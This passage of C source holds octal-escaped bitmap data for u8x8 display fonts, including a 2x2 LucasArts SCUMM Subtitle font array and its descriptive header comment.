"\0\0\0\0\0\2\376\376B@@B\376\376\2\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\2\376\376\2\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\2\376\376\2\0\0\0\0\0\0\0\0\6\17\15\10\14\17\7\0\0\0\0" "\0\0\0\0\0\2\376\376b\360\230\16\6\2\2\0\0\0\0\0\0\10\17\17\10\0\1\13\16\14\10\0" "\0\0\0\0\0\2\376\376\2\2\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\10\10\10\10\14\16\0" "\0\0\0\0\0\2\376\376\16<\360\300\360<\16\376\376\2\0\0\0\10\17\17\10\0\0\1\0\0\10\17" "\17\10\0\0\0\2\376\376\16\70\340\200\2\376\376\2\0\0\0\0\0\10\17\17\10\0\0\3\16\17\17\10" "\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0" "\0\0\0\0\0\2\376\376BBBf<\30\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\34\70,'\3\0" "\0\0\0\0\0\2\376\376BBB\346\274\30\0\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\30<&fB\302\202\204\16\0\0\0\0\0\0\0\16\4\10\10\10\14\14\7\3\0\0" "\0\0\0\0\0\16\6\2\376\376\2\6\16\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0" "\0\0\0\0\0\2\376\376\2\0\0\2\376\2\0\0\0\0\0\0\0\0\7\17\14\10\10\14\7\0\0\0" "\0\0\0\0\0\2>\376\302\0\0\302>\2\0\0\0\0\0\0\0\0\0\1\17\16\16\1\0\0\0\0" "\0\0\0\0\0\2>\376\302\0\302\376\376\302\0\0\302>\2\0\0\0\0\1\17\16\17\1\1\17\16\16" "\1\0\0\0\0\2\6\16\32\260\340\340\260\32\16\6\2\0\0\0\0\10\14\16\13\1\0\0\1\13\16\14" "\10\0\0\0\0\2\16>r\300\300r>\16\2\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0" "\0\0\0\0\0\16\6\202\302\342r:\36\16\0\0\0\0\0\0\0\16\17\13\11\10\10\10\14\16\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@` \340\300\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0\2\376\376` `\300\200\0\0\0\0\0\0\0\0\17\17\4\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300` `@\0\0\0\0\0\0\0\0\3\7\14\10\10\10\14\4\0\0\0" "\0\0\0\0\0\200\300` b\376\376\0\0\0\0\0\0\0\0\3\7\14\10\10\4\17\17\10\0\0" "\0\0\0\0\0\200\300` \340\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0 \374\376\42\42\16\14\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300` p\320\220\0\0\0\0\0\0\0\61;fDDDj\71\61\0\0" "\0\0\0\0\0\2\376\376@ `\300\200\0\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\0\354\354\0\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\354\354\0\0\0\0\0\0\0\0\0 `@@`\177\77\0\0\0\0" "\0\0\0\0\0\2\376\376\2\0\240` \0\0\0\0\0\0\0\10\17\17\12\1\1\13\16\14\10\0" "\0\0\0\0\0\2\376\376\0\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0 \340\340@ \340\300` \340\300\0\0\0\0\0\10\17\17\10\0\17\17\10\0\17\17" "\10\0\0\0\0 \340\340@ \340\300\0\0\0\0\0\0\0\0\10\17\17\10\0\0\17\17\10\0\0" "\0\0\0\0\0\200\300` `\300\200\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0 \340\340@ `\300\200\0\0\0\0\0\0\0\200\377\377\204\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300` @\340\340\0\0\0\0\0\0\0\0\3\7\14\10\10\204\377\377\200\0\0" "\0\0\0\0\0 \340\340\300` \340\300\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\240 @\340\0\0\0\0\0\0\0\0\0\16\5\11\11\13\17\6\0\0\0\0" "\0\0\0\0\0 \370\374 \0\0\0\0\0\0\0\0\0\0\0\0\7\17\10\10\4\0\0\0\0\0" "\0\0\0\0\0 \340\340 \0\0 \340\340\0\0\0\0\0\0\0\0\7\17\14\10\10\4\17\17\10\0" "\0\0\0\0\0 `\340\240\0\0\240\340` \0\0\0\0\0\0\0\0\1\7\16\16\7\1\0\0\0" "\0\0\0\0\0 `\340\240\0\0\240\340\340\240\0\0\0\240`\0\0\0\1\7\16\16\7\1\1\7\16" "\10\6\1\0\0 `\340\200\0\200\340` \0\0\0\0\0\10\10\14\16\3\1\3\16\14\10\10" "\0\0\0\0\0 `\340\240\0\0\0 \340 \0\0\0\0\0 `@Ac>\34\7\1\0\0" "\0\0\0\0\0\340` \240\340` \0\0\0\0\0\0\0\0\10\14\16\13\11\10\14\16\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\3\300\360\274\216\216\270\340\200\3\3\0\0\0\10\14\17\13\0\0\0\0\0\0\13" "\16\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\10\370\370\212\212\311\11\30\70\0\0\0\0\0\0\0\10\17\17\10\10\11\10\14\16\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@`$$((\340\300\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@`(,$,\350\300\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@h( \350\310\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0@`$**$\340\300\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300` `@\0\0\0\0\0\0\0\0\3\7\14(\30\10\14\4\0\0\0" "\0\0\0\0\0\200\300d$((\340\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0\200\300`(($\344\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0\200\300h,$,\350\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0\200\300h( (\350\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0\4\4\350\350\0\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\10\344\344\10\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\10\340\340\10\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 \350\350 \0\0 \350\350\0\0\0\0\0\0\0\0\7\17\14\10\10\4\17\17\10\0" "\0\0\0"; /* Fontname: -FreeType-LucasArts SCUMM Subtitle Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1 Copyright: Copyright Goatmeal 2013 Glyphs: 74/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_r[2916] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_r") = " z\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0<\376\376<\0\0\0\0\0\0\0\0\0\0\0\0\0\15\15\0\0\0\0\0\0\0\0" "\0\0\0\0\0\16\16\0\0\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@l<\34\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340p\70\34\16\0\0\0\0\0\0\0\16\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0" "\0\0\0\0\0\10\14\376\376\0\0\0\0\0\0\0\0\0\0\0\0\10\10\17\17\10\10\0\0\0\0\0" "\0\0\0\0\0\10\14\6\2\202\302f<\30\0\0\0\0\0\0\0\10\14\16\13\11\10\10\10\10\0\0" "\0\0\0\0\0\10\14\6BBB\346\274\30\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300`\60\30\14\376\376\0\0\0\0\0\0\0\0\1\1\1\1\1\1\17\17\1\0\0" "\0\0\0\0\0>>\42\42\42\42b\302\202\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\370\374f\42\42\42f\314\210\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\2\2\2\302\342\62\32\16\6\0\0\0\0\0\0\0\0\0\0\17\17\0\0\0\0\0\0" "\0\0\0\0\0\30\274\346BBB\346\274\30\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\70|\306\202\202\202\306\374\370\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\6\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\16\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\10\14\6\2\202\302f<\30\0\0\0\0\0\0\0\0\0\0\13\13\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\274\216\216\270\340\200\0\0\0\0\0\10\14\17\13\0\0\0\0\0\0\13" "\16\10\0\0\0\2\376\376BBf\374\230\0\0\0\0\0\0\0\0\10\17\17\10\10\10\14\7\3\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\14\36\0\0\0\0\0\0\0\3\7\14\10\10\10\14\4\2\0" "\0\0\0\0\0\2\376\376\2\2\2\6\34\370\340\0\0\0\0\0\0\10\17\17\10\10\10\14\7\3\0\0" "\0\0\0\0\0\2\376\376B\342\362\2\6\16\0\0\0\0\0\0\0\10\17\17\10\10\11\10\14\16\0\0" "\0\0\0\0\0\2\376\376B\342\362\2\6\16\0\0\0\0\0\0\0\10\17\17\10\10\1\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\202\206\214\236\200\0\0\0\0\0\0\3\7\14\10\10\10\4\17\17\0" "\0\0\0\0\0\2\376\376B@@B\376\376\2\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\2\376\376\2\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\2\376\376\2\0\0\0\0\0\0\0\0\6\17\15\10\14\17\7\0\0\0\0" "\0\0\0\0\0\2\376\376b\360\230\16\6\2\2\0\0\0\0\0\0\10\17\17\10\0\1\13\16\14\10\0" "\0\0\0\0\0\2\376\376\2\2\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\10\10\10\10\14\16\0" "\0\0\0\0\0\2\376\376\16<\360\300\360<\16\376\376\2\0\0\0\10\17\17\10\0\0\1\0\0\10\17" "\17\10\0\0\0\2\376\376\16\70\340\200\2\376\376\2\0\0\0\0\0\10\17\17\10\0\0\3\16\17\17\10" 